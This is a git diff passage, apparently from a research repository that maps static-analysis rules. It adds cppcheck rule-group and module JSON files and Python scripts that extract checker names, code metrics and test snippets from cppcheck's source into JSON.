Information/groups/checkfunctions.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkinternal.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkio.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkleakautovar.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkmemoryleak.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checknullpointer.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkother.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkpostfixoperator.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checksizeof.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkstl.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkstring.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checktype.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkuninitvar.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkunusedvar.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkvaarg.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/main/cppcheck-main.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/modules/cppcheck-cpp.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Scripts/cppcheck-checkers.py create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Scripts/cppcheck-groups.py create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Scripts/cppcheck-modules.py diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/check64bit.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/check64bit.json new file mode 100644 index 0000000..30842e1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/check64bit.json @@ -0,0 +1,8 @@ +{ + "name": "check64bit", + "description": null, + "rules": [ + "getSettings", + "pointerassignment" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkassert.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkassert.json new file mode 100644 index 0000000..623ee8e --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkassert.json @@ -0,0 +1,8 @@ +{ + "name": "checkassert", + "description": null, + "rules": [ + "assertWithSideEffects", + "getSettings" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkautovariables.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkautovariables.json new file mode 100644 index 0000000..a106d99 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkautovariables.json @@ -0,0 +1,10 @@ +{ + "name": "checkautovariables", + "description": null, + "rules": [ + "assignFunctionArg", + "autoVariables", + "checkVarLifetime", + "getSettings" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkbool.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkbool.json new file mode 100644 index 0000000..54008f9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkbool.json @@ -0,0 +1,17 @@ +{ + "name": "checkbool", + "description": null, + "rules": [ + "checkAssignBoolToFloat", + "checkAssignBoolToPointer", + "checkBitwiseOnBoolean", + "checkComparisonOfBoolExpressionWithInt", + "checkComparisonOfBoolWithBool", + "checkComparisonOfBoolWithInt", + "checkComparisonOfFuncReturningBool", + "checkIncrementBoolean", + "getSettings", + "pointerArithBool", + "returnValueOfFunctionReturningBool" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkbufferoverrun.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkbufferoverrun.json new file mode 100644 index 0000000..70b1c51 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkbufferoverrun.json @@ -0,0 +1,15 @@ +{ + "name": "checkbufferoverrun", + "description": null, + "rules": [ + "argumentSize", + "arrayIndex", + "arrayIndexThenCheck", + "bufferOverflow", + "getSettings", + "negativeArraySize", + "objectIndex", + "pointerArithmetic", + "stringNotZeroTerminated" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkclass.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkclass.json new file mode 100644 index 0000000..bf531b1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkclass.json @@ -0,0 +1,29 @@ +{ + "name": "checkclass", + "description": null, + "rules": [ + "checkConst", + "checkCopyCtorAndEqOperator", + "checkDuplInheritedMembers", + "checkExplicitConstructors", + "checkMemset", + "checkOverride", + "checkReturnByReference", + "checkSelfInitialization", + "checkThisUseAfterFree", + "checkUnsafeClassRefMember", + "checkUselessOverride", + "checkVirtualFunctionCallInConstructor", + "constructors", + "copyconstructors", + "getSettings", + "initializationListUsage", + "initializerListOrder", + "isC", + "operatorEqRetRefThis", + "operatorEqToSelf", + "privateFunctions", + "thisSubtraction", + "virtualDestructor" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkcondition.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkcondition.json new file mode 100644 index 0000000..a6ee59a --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkcondition.json @@ -0,0 +1,22 @@ +{ + "name": "checkcondition", + "description": null, + "rules": [ + "alwaysTrueFalse", + "assignIf", + "checkAssignmentInCondition", + "checkBadBitmaskCheck", + "checkCompareValueOutOfTypeRange", + "checkDuplicateConditionalAssign", + "checkIncorrectLogicOperator", + "checkInvalidTestForOverflow", + "checkModuloAlwaysTrueFalse", + "checkPointerAdditionResultNotNull", + "clarifyCondition", + "comparison", + "duplicateCondition", + "getSettings", + "multiCondition", + "multiCondition2" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkexceptionsafety.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkexceptionsafety.json new file mode 100644 index 0000000..ba17f5e --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkexceptionsafety.json @@ -0,0 +1,15 @@ +{ + "name": "checkexceptionsafety", + "description": null, + "rules": [ + "checkCatchExceptionByValue", + "checkRethrowCopy", + "deallocThrow", + "destructors", + "getSettings", + "isC", + "nothrowThrows", + "rethrowNoCurrentException", + "unhandledExceptionSpecification" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkfunctions.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkfunctions.json new file mode 100644 index 0000000..cfa3824 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkfunctions.json @@ -0,0 +1,17 @@ +{ + "name": "checkfunctions", + "description": null, + "rules": [ + "checkIgnoredReturnValue", + "checkLibraryMatchFunctions", + "checkMathFunctions", + "checkMissingReturn", + "checkProhibitedFunctions", + "getSettings", + "invalidFunctionUsage", + "memsetInvalid2ndParam", + "memsetZeroBytes", + "returnLocalStdMove", + "useStandardLibrary" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkinternal.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkinternal.json new file mode 100644 index 0000000..d0c82c2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkinternal.json @@ -0,0 +1,15 @@ +{ + "name": "checkinternal", + "description": null, + "rules": [ + "checkExtraWhitespace", + "checkMissingPercentCharacter", + "checkRedundantNextPrevious", + "checkRedundantTokCheck", + "checkTokenMatchPatterns", + "checkTokenSimpleMatchPatterns", + "checkUnknownPattern", + "getSettings", + "isEnabled" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkio.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkio.json new file mode 100644 index 0000000..4ee8b0d --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkio.json @@ -0,0 +1,11 @@ +{ + "name": "checkio", + "description": null, + "rules": [ + "checkCoutCerrMisusage", + "checkFileUsage", + "checkWrongPrintfScanfArguments", + "getSettings", + "invalidScanf" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkleakautovar.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkleakautovar.json new file mode 100644 index 0000000..5eb7b24 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkleakautovar.json @@ -0,0 +1,8 @@ +{ + "name": "checkleakautovar", + "description": null, + "rules": [ + "check", + "getSettings" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkmemoryleak.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkmemoryleak.json new file mode 100644 index 0000000..4db840d --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkmemoryleak.json @@ -0,0 +1,8 @@ +{ + "name": "checkmemoryleak", + "description": null, + "rules": [ + "checkReallocUsage", + "getSettings" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checknullpointer.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checknullpointer.json new file mode 100644 index 0000000..682e4b7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checknullpointer.json @@ -0,0 +1,10 @@ +{ + "name": "checknullpointer", + "description": null, + "rules": [ + "arithmetic", + "getSettings", + "nullConstantDereference", + "nullPointer" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkother.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkother.json new file mode 100644 index 0000000..b3e2a98 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkother.json @@ -0,0 +1,51 @@ +{ + "name": "checkother", + "description": null, + "rules": [ + "checkAccessOfMovedVariable", + "checkCastIntToCharAndBack", + "checkCharVariable", + "checkCommaSeparatedReturn", + "checkComparePointers", + "checkComparisonFunctionIsAlwaysTrueOrFalse", + "checkConstPointer", + "checkConstVariable", + "checkDuplicateBranch", + "checkDuplicateExpression", + "checkEvaluationOrder", + "checkFuncArgNamesDifferent", + "checkIncompleteArrayFill", + "checkIncompleteStatement", + "checkInterlockedDecrement", + "checkInvalidFree", + "checkKnownArgument", + "checkKnownPointerToBool", + "checkMisusedScopedObject", + "checkModuloOfOne", + "checkNanInArithmeticExpression", + "checkNegativeBitwiseShift", + "checkOverlappingWrite", + "checkPassByReference", + "checkRedundantAssignment", + "checkRedundantCopy", + "checkRedundantPointerOp", + "checkShadowVariables", + "checkSignOfUnsignedVariable", + "checkSuspiciousCaseInSwitch", + "checkSuspiciousSemicolon", + "checkUnreachableCode", + "checkUnusedLabel", + "checkVarFuncNullUB", + "checkVariableScope", + "checkZeroDivision", + "clarifyCalculation", + "clarifyStatement", + "getSettings", + "invalidPointerCast", + "redundantBitwiseOperationInSwitchError", + "suspiciousFloatingPointCast", + "warningDangerousTypeCast", + "warningIntToPointerCast", + "warningOldStylePointerCast" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkpostfixoperator.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkpostfixoperator.json new file mode 100644 index 0000000..0043aee --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkpostfixoperator.json @@ -0,0 +1,9 @@ +{ + "name": "checkpostfixoperator", + "description": null, + "rules": [ + "getSettings", + "isC", + "postfixOperator" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checksizeof.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checksizeof.json new file mode 100644 index 0000000..295c9c2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checksizeof.json @@ -0,0 +1,15 @@ +{ + "name": "checksizeof", + "description": null, + "rules": [ + "checkSizeofForArrayParameter", + "checkSizeofForNumericParameter", + "checkSizeofForPointerSize", + "getSettings", + "sizeofCalculation", + "sizeofFunction", + "sizeofVoid", + "sizeofsizeof", + "suspiciousSizeofCalculation" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkstl.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkstl.json new file mode 100644 index 0000000..7b4dd28 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkstl.json @@ -0,0 +1,31 @@ +{ + "name": "checkstl", + "description": null, + "rules": [ + "checkDereferenceInvalidIterator", + "checkDereferenceInvalidIterator2", + "checkFindInsert", + "checkMutexes", + "erase", + "eraseIteratorOutOfBounds", + "getSettings", + "if_find", + "invalidContainer", + "isCPP", + "iterators", + "knownEmptyContainer", + "mismatchingContainerIterator", + "mismatchingContainers", + "missingComparison", + "negativeIndex", + "outOfBounds", + "outOfBoundsIndexExpression", + "redundantCondition", + "size", + "stlBoundaries", + "stlOutOfBounds", + "string_c_str", + "useStlAlgorithm", + "uselessCalls" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkstring.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkstring.json new file mode 100644 index 0000000..674340e --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkstring.json @@ -0,0 +1,14 @@ +{ + "name": "checkstring", + "description": null, + "rules": [ + "checkAlwaysTrueOrFalseStringCompare", + "checkIncorrectStringCompare", + "checkSuspiciousStringCompare", + "getSettings", + "overlappingStrcmp", + "sprintfOverlappingData", + "strPlusChar", + "stringLiteralWrite" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checktype.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checktype.json new file mode 100644 index 0000000..4810cf8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checktype.json @@ -0,0 +1,12 @@ +{ + "name": "checktype", + "description": null, + "rules": [ + "checkFloatToIntegerOverflow", + "checkIntegerOverflow", + "checkLongCast", + "checkSignConversion", + "checkTooBigBitwiseShift", + "getSettings" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkuninitvar.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkuninitvar.json new file mode 100644 index 0000000..a7d49d2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkuninitvar.json @@ -0,0 +1,9 @@ +{ + "name": "checkuninitvar", + "description": null, + "rules": [ + "check", + "getSettings", + "valueFlowUninit" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkunusedvar.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkunusedvar.json new file mode 100644 index 0000000..dc4ee2e --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkunusedvar.json @@ -0,0 +1,9 @@ +{ + "name": "checkunusedvar", + "description": null, + "rules": [ + "checkFunctionVariableUsage", + "checkStructMemberUsage", + "getSettings" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkvaarg.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkvaarg.json new file mode 100644 index 0000000..47b43c8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkvaarg.json @@ -0,0 +1,9 @@ +{ + "name": "checkvaarg", + "description": null, + "rules": [ + "getSettings", + "va_list_usage", + "va_start_argument" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/main/cppcheck-main.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/main/cppcheck-main.json new file mode 100644 index 0000000..317d560 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/main/cppcheck-main.json @@ -0,0 +1,6 @@ +{ + "artifactId": "cppcheck", + "groupId": null, + "version": 2.18.0, + "module": ["cppcheck"] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/modules/cppcheck-cpp.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/modules/cppcheck-cpp.json new file mode 100644 index 0000000..3f306b6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/modules/cppcheck-cpp.json @@ -0,0 +1,75 @@ +{ + "artifactId": "cppcheck-cpp", + "name": "Cppcheck", + "modelVersion": null, + "groups": [ + "addoninfo", + "analyzerinfo", + "astutils", + "check", + "check64bit", + "checkassert", + "checkautovariables", + "checkbool", + "checkbufferoverrun", + "checkclass", + "checkcondition", + "checkers", + "checkersidmapping", + "checkersreport", + "checkexceptionsafety", + "checkfunctions", + "checkinternal", + "checkio", + "checkleakautovar", + "checkmemoryleak", + "checknullpointer", + "checkother", + "checkpostfixoperator", + "checksizeof", + "checkstl", + "checkstring", + "checktype", + "checkuninitvar", + "checkunusedfunctions", + "checkunusedvar", + "checkvaarg", + "clangimport", + "color", + "cppcheck", + "ctu", + "errorlogger", + "errortypes", + "findtoken", + "forwardanalyzer", + "fwdanalysis", + "importproject", + "infer", + "keywords", + "library", + "mathlib", + "path", + "pathanalysis", + "pathmatch", + "platform", + "preprocessor", + "programmemory", + "reverseanalyzer", + "settings", + "standards", + "summaries", + "suppressions", + "symboldatabase", + "templatesimplifier", + "timer", + "token", + "tokenize", + "tokenlist", + "utils", + "valueflow", + "vf_analyzers", + "vf_common", + "vf_settokenvalue", + "vfvalue" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Scripts/cppcheck-checkers.py b/Raw Data/Static Analysis Tool/cppcheck/Scripts/cppcheck-checkers.py new file mode 100644 index 0000000..ff50a0f --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Scripts/cppcheck-checkers.py @@ -0,0 +1,272 @@ +import os +import re +import json +from collections import defaultdict +from difflib import SequenceMatcher + +checkers_path = r"C:\Poorcomputer\Study\Github\cppcheck\lib\checkers.cpp" +lib_dir = r"C:\Poorcomputer\Study\Github\cppcheck\lib" +test_dir = r"C:\Poorcomputer\Study\Github\cppcheck\test" +output_base = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\cppcheck\Rule Information\checkers" + +# 分词(支持 CamelCase 和 snake_case) +def split_words(name): + # 先按下划线分割(snake_case) + parts = re.split(r'_', name) + tokens = [] + for part in parts: + # 对每一部分再按 CamelCase 分割 + camel_parts = re.findall(r'[A-Z]+(?=[A-Z][a-z])|[A-Z]?[a-z]+|\d+', part) + tokens.extend([p.lower() for p in camel_parts if p]) + return tokens + + +# 模糊度:词集合对称差 +def word_sequence_similarity(a, b): + a_words = split_words(a) + b_words = split_words(b) + sm = SequenceMatcher(None, a_words, b_words) + return sm.ratio() + +# 提取 checkers 中的规则名 +def extract_checkers(path): + pattern = re.compile(r'"(Check\w+)::(\w+)"') + with open(path, encoding='utf-8') as f: + return pattern.findall(f.read()) + +# 计算 LOC、分支数、API 数 +def count_metrics(code): + loc = len([line for line in code.splitlines() if line.strip()]) + branches = len(re.findall(r'\bif\b|\belse\b|\bfor\b|\bwhile\b|\bswitch\b|\bcase\b', code)) + apis = len(re.findall(r'\b[A-Za-z_][A-Za-z0-9_]*\s*\(', code)) + return loc, branches, apis + + + +import re + +def extract_code_by_logchecker(code: str, checker_name: str): + def block(start: int) -> str | None: + """从 start 开始提取完整的 {...} 块,忽略字符串与字符常量中的大括号""" + brace_count = 0 + in_string = in_char = escape = False + for i in range(start, len(code)): + c = code[i] + if escape and c == '\n': + escape = False + elif c == '\\': + escape = True + elif in_string: + if c == '"': + in_string = False + elif c == '"': + in_string = True + elif c == '{': + if brace_count == 0: + brace_start = i + brace_count += 1 + elif c == '}': + brace_count -= 1 + if brace_count == 0: + return code[brace_start:i + 1] + return None + + # 1. 定位 logChecker("CheckXxx::checkYyy") + log_pattern = re.escape(f'logChecker("{checker_name}")') + log_match = re.search(log_pattern, code) + if not log_match: + return None + + log_pos = log_match.start() + + # 2. 向上查找函数头 + func_header_pattern = re.compile( + r'^[\w:<>\s*&]+::\s*\w+\s*\([^)]*\)\s*(const)?\s*\{', + re.MULTILINE + ) + for match in reversed(list(func_header_pattern.finditer(code, 0, log_pos))): + func_start = match.start() + return block(func_start) + + print(f"未找到函数头:{checker_name}") + return None + + + + +# 匹配 lib 目录中的 cpp 实现文件(CheckXxx → checkxxx.cpp) +def match_cpp_file(group): + # 如果后缀是 Portability,就删掉这个后缀 + if group.lower().endswith("portability"): + group = group[:-len("Portability")] + target = group.lower() + for f in os.listdir(lib_dir): + if f.endswith(".cpp") and f[:-4].lower() == target: + return os.path.join(lib_dir, f) + print(f"未找到实现文件:{group}") + return None + + +# 匹配 test 目录中的测试文件(CheckXxx → testxxx.cpp) +import os +import re + +def extract_test_info(group, rule_base): + if group.lower().endswith("portability"): + group = group[:-len("Portability")] + test_file = os.path.join(test_dir, f"test{group[5:].lower()}.cpp") + if not os.path.exists(test_file): + print(f"未找到测试文件:test{group[5:].lower()}.cpp") + return None + + with open(test_file, encoding='utf-8') as f: + code = f.read() + + if rule_base.lower().startswith("check"): + rule_base = rule_base[5:] + # 1. 准确匹配函数 + pattern_exact = re.compile( + rf'void\s+(?:check)?{re.escape(rule_base)}(?:\d*|Error)?\s*\(', + re.IGNORECASE + ) + matches = list(pattern_exact.finditer(code)) + if matches: + linenumbers = [code[:m.start()].count('\n') + 1 for m in matches] + print(f"准确匹配到 {len(matches)} 个测试函数,规则名:{rule_base},测试文件:test{group[5:].lower()}.cpp") + return { + "description": None, + "expected-problems": len(linenumbers), + "expected-linenumbers": linenumbers, + "code": "\n" + code + } + + # 2. 模糊匹配 + all_funcs = re.findall( + r'[\w\s:&*<>]+\s+(?:check)?([A-Za-z_][A-Za-z0-9_:]*)\s*\(', + code, + re.IGNORECASE + ) + candidates = [(name, word_sequence_similarity(rule_base.lower(), name.lower())) + for name in all_funcs] + candidates.sort(key=lambda x: x[1], reverse=True) + + for candidate, score in candidates: + if score >= 0.6: + print(f"模糊匹配尝试2:{rule_base} -> {candidate}(相似度 {score:.2f})") + pattern_candidate = re.compile( + rf'void\s+(?:check)?{re.escape(candidate)}\s*\(', + re.IGNORECASE + ) + candidate_matches = list(pattern_candidate.finditer(code)) + if candidate_matches: + linenumbers = [code[:m.start()].count('\n') + 1 for m in candidate_matches] + return { + "description": None, + "expected-problems": len(linenumbers), + "expected-linenumbers": linenumbers, + "code": "\n" + code + } + + # 3. 延迟 check(...) 内容提取的 ASSERT_EQUALS 匹配 + assert_pattern = re.compile( + rf'ASSERT_EQUALS\(\s*".*?\[.*?{re.escape(rule_base)}.*?\]\\n",\s*errout_str\(\)\s*\);', + re.DOTALL + ) + + check_pattern = re.compile( + r'check\s*\(\s*((?:"(?:[^"\\]|\\.)*"\s*)+)\)', + re.DOTALL + ) + + # 只记录位置 + match 对象 + check_candidates = [(m.start(), m) for m in check_pattern.finditer(code)] + + assert_matches = list(assert_pattern.finditer(code)) + check_strings = [] + linenumbers = [] + + for am in assert_matches: + a_pos = am.start() + + nearest = None + for c_pos, c_match in reversed(check_candidates): + if c_pos < a_pos and (a_pos - c_pos <= 100): + nearest = (c_match, code[:c_pos].count('\n') + 1) + break + + if nearest: + c_match, c_line = nearest + raw_args = c_match.group(1) + string_parts = re.findall(r'"((?:[^"\\]|\\.)*)"', raw_args) + joined = '\n'.join(string_parts) + check_strings.append(joined) + linenumbers.append(c_line) + + if check_strings: + full_code = 'check("' + '\\n"\n"'.join(check_strings) + '");' + print(f"通过 ASSERT_EQUALS 匹配到 {len(check_strings)} 个 check 测试代码段,规则名:{rule_base},测试文件:test{group[5:].lower()}.cpp") + return { + "description": None, + "expected-problems": len(check_strings), + "expected-linenumbers": linenumbers, + "code": full_code + } + + print(f"未找到匹配的测试函数,规则名:{rule_base},测试文件:test{group[5:].lower()}.cpp") + return None + + + +# 主流程:解析所有规则,聚合变体并输出为 JSON +checkers_raw = extract_checkers(checkers_path) +group_rules = defaultdict(list) + +# 聚合规则名(去除 Error / 数字后缀) +for group, rule in checkers_raw: + rule_base = re.sub(r'(Error|\d+)$', '', rule) + key = (group, rule_base) + group_rules[key].append(rule) + +for (group, rule_base), rule_variants in group_rules.items(): + rule_name = rule_base + cpp_path = match_cpp_file(group) + if not cpp_path: + continue + + with open(cpp_path, encoding='utf-8') as f: + cpp_code = f.read() + + combined_code = "" + for variant in rule_variants: + func_code = extract_code_by_logchecker(cpp_code, f"{group}::{variant}") + if func_code: + combined_code += func_code + "\n" + + if not combined_code: + print(f"未找到函数代码:{group}::{rule_base}") + continue + + loc, branches, apis = count_metrics(combined_code) + test_info = extract_test_info(group, rule_base) + + rule_info = { + "name": rule_name, + "language": "cpp", + "description": None, + "example": None, + "cwe": None, + "cwe-description": None, + "checker-language": "cpp", + "loc": loc, + "branches": branches, + "apis": apis, + "test": [test_info] if test_info else [] + } + + output_dir = os.path.join(output_base, group) + os.makedirs(output_dir, exist_ok=True) + output_path = os.path.join(output_dir, f"{rule_name}.json") + with open(output_path, "w", encoding="utf-8") as f: + json.dump(rule_info, f, indent=2, ensure_ascii=False) + +print("所有规则信息提取完毕") \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Scripts/cppcheck-groups.py b/Raw Data/Static Analysis Tool/cppcheck/Scripts/cppcheck-groups.py new file mode 100644 index 0000000..03e0cec --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Scripts/cppcheck-groups.py @@ -0,0 +1,47 @@ +import os +import re +import json + +# 源码路径(Cppcheck lib 目录) +cppcheck_lib_dir = r"C:\Poorcomputer\Study\Github\cppcheck\lib" +# 输出路径 +output_dir = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\cppcheck\Rule Information\groups" +os.makedirs(output_dir, exist_ok=True) + +# 正则:提取 runChecks 函数体中调用的所有 xxx.yyy(...),提取 yyy +run_checks_pattern = re.compile(r'\b\w+\.(\w+)\s*\(') + +for filename in os.listdir(cppcheck_lib_dir): + if not filename.endswith('.cpp') or not filename[0].islower(): + continue + + filepath = os.path.join(cppcheck_lib_dir, filename) + module_name = filename[:-4] + + with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: + code = f.read() + + # 提取 runChecks 函数体(函数体内部的内容) + run_match = re.search(r'void\s+\w+::runChecks\s*\([^)]*\)\s*\{(.*?)\n\}', code, re.DOTALL) + if not run_match: + continue + + run_body = run_match.group(1) + function_calls = run_checks_pattern.findall(run_body) + + if not function_calls: + continue + + rules = sorted(set(function_calls)) # 去重排序 + + group_data = { + "name": module_name, + "description": None, + "rules": rules + } + + output_path = os.path.join(output_dir, f"{module_name}.json") + with open(output_path, "w", encoding="utf-8") as f: + json.dump(group_data, f, indent=2, ensure_ascii=False) + + print(f"✅ {module_name}.json 已生成,规则数: {len(rules)}") \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Scripts/cppcheck-modules.py b/Raw Data/Static Analysis Tool/cppcheck/Scripts/cppcheck-modules.py new file mode 100644 index 0000000..fa8d52c --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Scripts/cppcheck-modules.py @@ -0,0 +1,33 @@ +import os +import json + +# 输入路径(Cppcheck lib 目录) +cppcheck_lib_dir = r"C:\Poorcomputer\Study\Github\cppcheck\lib" + +# 输出路径 +output_dir = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\cppcheck\Rule Information\modules" +output_path = os.path.join(output_dir, "cppcheck-cpp.json") + +# 确保输出目录存在 +os.makedirs(output_dir, exist_ok=True) + +# 获取所有 cpp 文件名作为模块名 +module_names = [ + os.path.splitext(f)[0] + for f in os.listdir(cppcheck_lib_dir) + if f.endswith(".cpp") and f[0].islower() +] + +# 构造 JSON 结构 +data = { + "artifactId": "cppcheck-cpp", + "name": "Cppcheck", + "modelVersion": None, + "groups": sorted(module_names) +} + +# 写入 JSON 文件 +with open(output_path, "w", encoding="utf-8") as f: + json.dump(data, f, indent=2, ensure_ascii=False) + +print(f"✅ 已生成模块信息:{output_path}") diff --git a/Raw Data/Static Analysis Tool/infer/Scripts/infer-checkers.py b/Raw Data/Static Analysis Tool/infer/Scripts/infer-checkers.py index 701bab5..7571b72 100644 --- a/Raw Data/Static Analysis Tool/infer/Scripts/infer-checkers.py +++ b/Raw Data/Static Analysis Tool/infer/Scripts/infer-checkers.py @@ -2,10 +2,10 @@ import re import json -checker_file = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer-main\infer-main\infer\src\base\Checker.ml" -src_root_dir = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer-main\infer-main\infer\src" -test_base_dir = 